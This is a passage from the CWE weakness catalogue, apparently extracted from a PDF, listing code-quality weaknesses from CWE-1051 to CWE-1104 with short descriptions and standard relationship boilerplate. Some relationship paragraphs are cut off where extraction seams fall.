The software has a loop body or loop condition that contains a control element that directly or indirectly consumes platform resources, e.g. messaging, sessions, locks, or file descriptors.

Extended Description

This issue can make the software perform more slowly. If an attacker can influence the number of iterations in the loop, then this performance problem might allow a denial of service by consuming more platform resources than intended.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1051: Initialization with Hard-Coded Network Resource Configuration Data

Weakness ID : 1051 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software initializes data using hard-coded values that act as network resource identifiers.

Extended Description

This issue can prevent the software from running reliably, e.g. if it runs in an environment does not use the hard-coded network resource identifiers. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1052: Excessive Use of Hard-Coded Literals in Initialization

Weakness ID : 1052 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software initializes a data element using a hard-coded literal that is not a simple integer or static constant element.

Extended Description

This issue makes it more difficult to modify or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1053: Missing Documentation for Design

Weakness ID : 1053 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product does not have documentation that represents how it is designed.

Extended Description

This issue can make it more difficult to understand and maintain the product. It can make it more difficult and time-consuming to detect and/or fix vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

CWE-1054: Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer

Weakness ID : 1054 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code at one architectural layer invokes code that resides at a deeper layer than the adjacent layer, i.e., the invocation skips at least one layer, and the invoked code is not part of a vertical utility layer that can be referenced from any horizontal layer.

Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1055: Multiple Inheritance from Concrete Classes

Weakness ID : 1055 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains a class with inheritance from more than one concrete class.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. CWE-1056: Invokable Control Element with Variadic Parameters

Weakness ID : 1056 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A named-callable or method control element has a signature that supports a variable (variadic) number of parameters or arguments.

Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

With variadic arguments, it can be difficult or inefficient for manual analysis to be certain of which function/method is being invoked.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1057: Data Access Operations Outside of Expected Data Manager Component

Weakness ID : 1057 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses a dedicated, central data manager component as required by design, but it contains code that performs data-access operations that do not use this data manager.

Extended Description

This issue can make the software perform more slowly than intended, since the intended central data manager may have been explicitly optimized for performance or other quality characteristics. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element

Weakness ID : 1058 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code contains a function or method that operates in a multi-threaded environment but owns an unsafe non-final static storable or member data element.

Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1059: Incomplete Documentation

Weakness ID : 1059 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The documentation, whether on paper or in electronic form, does not contain descriptions of all the relevant elements of the product, such as its usage, structure, interfaces, design, implementation, configuration, operation, etc.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses

Weakness ID : 1060 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software performs too many data queries without using efficient data processing functionality such as stored procedures.

Extended Description

This issue can make the software perform more slowly due to computational expense. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "too many data queries" may vary for each product or developer, CISQ recommends a default maximum of 5 data queries for an inefficient function/procedure.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1061: Insufficient Encapsulation

Weakness ID : 1061 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software does not sufficiently hide the internal representation and implementation details of data or methods, which might allow external components or modules to modify data unexpectedly, invoke unexpected functionality, or introduce dependencies that the programmer did not intend.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1063: Creation of Class Instance within a Static Code Block

Weakness ID : 1063 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A static code block creates an instance of a class.

Extended Description

This pattern identifies situations where a storable data element or member data element is initialized with a value in a block of code which is declared as static.

This issue can make the software perform more slowly by performing initialization before it is needed. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters

Weakness ID : 1064 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains a function, subroutine, or method whose signature has an unnecessarily large number of parameters/arguments.

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "large number of parameters." may vary for each product or developer, CISQ recommends a default maximum of 7 parameters/arguments.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers

Weakness ID : 1065 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The application uses deployed components from application servers, but it also uses low-level functions/methods for management of resources, instead of the API provided by the application server.

Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1066: Missing Serialization Control Element

Weakness ID : 1066 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains a serializable data element that does not have an associated serialization method.

Extended Description

This issue can prevent the software from running reliably, e.g. by triggering an exception. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

As examples, the serializable nature of a data element comes from a serializable SerializableAttribute attribute in .NET and the inheritance from the java.io.Serializable interface in Java.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1067: Excessive Execution of Sequential Searches of Data Resource

Weakness ID : 1067 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains a data query against an SQL table or view that is configured in a way that does not utilize an index and may cause sequential searches to be performed.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1068: Inconsistency Between Implementation and Documented Design

Weakness ID : 1068 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The implementation of the product is not consistent with the design as described within the relevant documentation.

Extended Description

This issue makes it more difficult to maintain the software due to inconsistencies, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1069: Empty Exception Block

Weakness ID : 1069 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

An invokable code block contains an exception handling block that does not contain any code, i.e. is empty.

Extended Description

When an exception handling block (such as a Catch and Finally block) is used, but that block is empty, this can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1070: Serializable Data Element Containing non-Serializable Item Elements

Weakness ID : 1070 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains a serializable, storable data element such as a field or member, but the data element contains member elements that are not serializable.

Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

As examples, the serializable nature of a data element comes from a serializable SerializableAttribute attribute in .NET and the inheritance from the java.io.Serializable interface in Java.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1071: Empty Code Block

Weakness ID : 1071 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The source code contains a block that does not contain any code, i.e., the block is empty.

Extended Description

Empty code blocks can occur in the bodies of conditionals, function or method definitions, exception handlers, etc. While an empty code block might be intentional, it might also indicate incomplete implementation, accidental code deletion, unexpected macro expansion, etc. For some programming languages and constructs, an empty block might be allowed by the syntax, but the lack of any behavior within the block might violate a convention or API in such a way that it is an error.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1072: Data Resource Access without Use of Connection Pooling

Weakness ID : 1072 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software accesses a data resource through a database without using a connection pooling capability.

Extended Description

This issue can make the software perform more slowly, as connection pools allow connections to be reused without the overhead and time consumption of opening and closing a new connection. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses

Weakness ID : 1073 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains a client with a function or method that contains a large number of data accesses/queries that are sent through a data manager, i.e., does not use efficient database capabilities.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large number of data accesses/queries" may vary for each product or developer, CISQ recommends a default maximum of 2 data accesses per function/method.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1074: Class with Excessively Deep Inheritance

Weakness ID : 1074 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A class has an inheritance level that is too high, i.e., it has a large number of parent classes.

Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "large number of parent classes" may vary for each product or developer, CISQ recommends a default maximum of 7 parent classes.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1075: Unconditional Control Flow Transfer outside of Switch Block

Weakness ID : 1075 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software performs unconditional control transfer (such as a "goto") in code outside of a branching structure such as a switch block.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. CWE-1077: Floating Point Comparison with Incorrect Operator

Weakness ID : 1077 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The code performs a comparison such as an equality test between two float (floating point) values, but it uses comparison operators that do not account for the possibility of loss of precision.

Extended Description

Numeric calculation using floating point values can generate imprecise results because of rounding errors. As a result, two different calculations might generate numbers that are mathematically equal, but have slightly different bit representations that do not translate to the same mathematically-equal values. As a result, an equality test or other comparison might produce unexpected results.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1082: Class Instance Self Destruction Control Element

Weakness ID : 1082 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code contains a class instance that calls the method or function to delete or destroy itself.

Extended Description

For example, in C++, "delete this" will cause the object to delete itself.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1083: Data Access from Outside Expected Data Manager Component

Weakness ID : 1083 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software is intended to manage data access through a particular data manager component such as a relational or non-SQL database, but it contains code that performs data access operations without using that component.

Extended Description

When the software has a data access component, the design may be intended to handle all data access operations through that component. If a data access operation is performed outside of that component, then this may indicate a violation of the intended design.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1061	Insufficient Encapsulation	1663

Relevant to the view "Software Development" (CWE-699)

CWE-1084: Invokable Control Element with Excessive File or Data Access Operations

Weakness ID : 1084 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A function or method contains too many operations that utilize a data manager or file resource.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "too many operations" may vary for each product or developer, CISQ recommends a default maximum of 7 operations for the same data manager or file.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code

Weakness ID : 1085 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A function, method, procedure, etc. contains an excessive amount of code that has been commented out within its body.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "excessive volume" may vary for each product or developer, CISQ recommends a default threshold of 2% of commented code.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1086: Class with Excessive Number of Child Classes

Weakness ID : 1086 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A class contains an unnecessarily large number of children.

Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "large number of children" may vary for each product or developer, CISQ recommends a default maximum of 10 child classes.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1087: Class with Virtual Method without a Virtual Destructor

Weakness ID : 1087 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A class contains a virtual method, but the method does not have an associated virtual destructor.

Extended Description

This issue can prevent the software from running reliably, e.g. due to undefined behavior. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1088: Synchronous Access of Remote Resource without Timeout

Weakness ID : 1088 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code has a synchronous call to a remote resource, but there is no timeout for the call, or the timeout is set to infinite.

Extended Description

This issue can prevent the software from running reliably, since an outage for the remote resource can cause the software to hang. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1089: Large Data Table with Excessive Number of Indices

Weakness ID : 1089 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses a large data table that contains an excessively large number of indices.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large data table" and "excessively large number of indices" may vary for each product or developer, CISQ recommends a default threshold of 1000000 rows for a "large" table and a default threshold of 3 indices.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1090: Method Containing Access of a Member Element from Another Class

Weakness ID : 1090 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

A method for a class performs an operation that directly accesses a member element from another class.

Extended Description

This issue suggests poor encapsulation and makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1091: Use of Object without Invoking Destructor Method

Weakness ID : 1091 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains a method that accesses an object but does not later invoke the element's associated finalize/destructor method.

Extended Description

This issue can make the software perform more slowly by retaining memory and/or other resources longer than necessary. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers

Weakness ID : 1092 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses the same control element across multiple architectural layers.

Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1093: Excessively Complex Data Representation

Weakness ID : 1093 **Status:** Incomplete
Structure : Simple
Abstraction : Class

Description

The software uses an unnecessarily complex internal representation for its data structures or interrelationships between those structures.

Extended Description

This issue makes it more difficult to understand or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1094: Excessive Index Range Scan for a Data Resource

Weakness ID : 1094 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software contains an index range scan for a large data table, but the scan can cover a large number of rows.

Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large data table" and "excessive index range" may vary for each product or developer, CISQ recommends a threshold of 1000000 table rows and a threshold of 10 for the index range.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1095: Loop Condition Value Update within the Loop

Weakness ID : 1095 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses a loop with a control flow condition based on a value that is updated within the body of the loop.

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization

Weakness ID : 1096 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software implements a Singleton design pattern but does not use appropriate locking or other synchronization mechanism to ensure that the singleton class is only instantiated once.

Extended Description

This issue can prevent the software from running reliably, e.g. by making the instantiation process non-thread-safe and introducing deadlock (CWE-833) or livelock conditions. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element

Weakness ID : 1097 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software uses a storable data element that does not have all of the associated functions or methods that are necessary to support comparison.

Extended Description

For example, with Java, a class that is made persistent requires both hashCode() and equals() methods to be defined.

This issue can prevent the software from running reliably, due to incorrect or unexpected comparison results. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element

Weakness ID : 1098 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The code contains a data element with a pointer that does not have an associated copy or constructor method.

Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1099: Inconsistent Naming Conventions for Identifiers

Weakness ID : 1099 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product's code, documentation, or other artifacts do not consistently use the same naming conventions for variables, callables, groups of related callables, I/O capabilities, data types, file names, or similar types of elements.

Extended Description

This issue makes it more difficult to understand and/or maintain the software due to inconsistencies, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1100: Insufficient Isolation of System-Dependent Functions

Weakness ID : 1100 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product or code does not isolate system-dependent functionality into separate standalone modules.

Extended Description

This issue makes it more difficult to maintain and/or port the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1101: Reliance on Runtime Component in Generated Code

Weakness ID : 1101 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product uses automatically-generated code that cannot be executed without a specific runtime support component.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1102: Reliance on Machine-Dependent Data Representation

Weakness ID : 1102 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The code uses a data representation that relies on low-level data representation or constructs that may vary across different processors, physical machines, OSes, or other physical components.

Extended Description

This issue makes it more difficult to maintain and/or port the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1103: Use of Platform-Dependent Third Party Components

Weakness ID : 1103 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The product relies on third-party software components that do not provide equivalent functionality across all desirable platforms.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1104: Use of Unmaintained Third Party Components

Weakness ID : 1104 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

